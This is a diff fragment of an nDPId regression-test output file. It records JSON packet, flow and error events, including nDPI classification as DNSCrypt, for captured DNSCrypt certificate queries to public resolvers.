01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_src_last_pkt_time":946739337048481,"flow_dst_last_pkt_time":946739337048481,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739337048481,"pkt":"REREREREZmZmZmZmCABFAAIc+L9AAL0RUnUKAAABMw980NnYEPcCCHK1aUMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":387,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":154,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048481,"flow_src_last_pkt_time":946739337048481,"flow_dst_last_pkt_time":946739337048481,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048481,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":55768,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":388,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048490} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337048490,"packet_id":388,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048490} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":388,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337048481,"pkt":"REREREREZmZmZmZmCABFAABQ+L4Aub0Rk4kKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":155,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048494,"flow_src_last_pkt_time":946739337048494,"flow_dst_last_pkt_time":946739337048494,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048494,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":39910,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_src_last_pkt_time":946739337048494,"flow_dst_last_pkt_time":946739337048494,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337048494,"pkt":"REREREREZmZmZmZmCABFAAXc+MAgAL0RbrQKAAABMw980JvmEPcGBNOBaUQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":389,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":155,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048494,"flow_src_last_pkt_time":946739337048494,"flow_dst_last_pkt_time":946739337048494,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048494,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":39910,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":390,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048503} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337048503,"packet_id":390,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337048503} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":390,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337048494,"pkt":"REREREREZmZmZmZmCABFAABQ+MAAub0Rk4cKAAABMw980AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":391,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":156,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337048530,"flow_src_last_pkt_time":946739337048530,"flow_dst_last_pkt_time":946739337048530,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337048530,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.124.208","src_port":53887,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_src_last_pkt_time":946739337048530,"flow_dst_last_pkt_time":946739337048530,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739337048530,"pkt":"REREREREZmZmZmZmCABFAAIc+MFAAL0RUnMKAAABMw980NJ\/EPcCCHK1aUEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -794,7 +676,7 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":158,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078124,"flow_src_last_pkt_time":946739337078124,"flow_dst_last_pkt_time":946739337078124,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078124,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":38508,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_src_last_pkt_time":946739337078124,"flow_dst_last_pkt_time":946739337078124,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337078124,"pkt":"REREREREZmZmZmZmCABFAAXc\/ckgAL0RlZoKAAABp3LcfZZsAbsGBGHYm2YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":396,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":158,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078124,"flow_src_last_pkt_time":946739337078124,"flow_dst_last_pkt_time":946739337078124,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078124,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":38508,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":397,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078136} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337078136,"packet_id":397,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337078136} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":397,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337078124,"pkt":"REREREREZmZmZmZmCABFAABQ\/ckAub0Rum0KAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":398,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":159,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078188,"flow_src_last_pkt_time":946739337078188,"flow_dst_last_pkt_time":946739337078188,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078188,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":39816,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01202{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_src_last_pkt_time":946739337078188,"flow_dst_last_pkt_time":946739337078188,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739337078188,"pkt":"REREREREZmZmZmZmCABFAAIc\/cpAAL0ReVkKAAABp3LcfZuIAbsCCEbGm2cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -802,12 +684,12 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739337078192,"flow_src_last_pkt_time":946739337078192,"flow_dst_last_pkt_time":946739337078192,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739337078192,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45613,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02485{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_src_last_pkt_time":946739337078192,"flow_dst_last_pkt_time":946739337078192,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739337078192,"pkt":"REREREREZmZmZmZmCABFAAXc\/csgAL0RlZgKAAABp3LcfbItAbsGBEYVm2gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 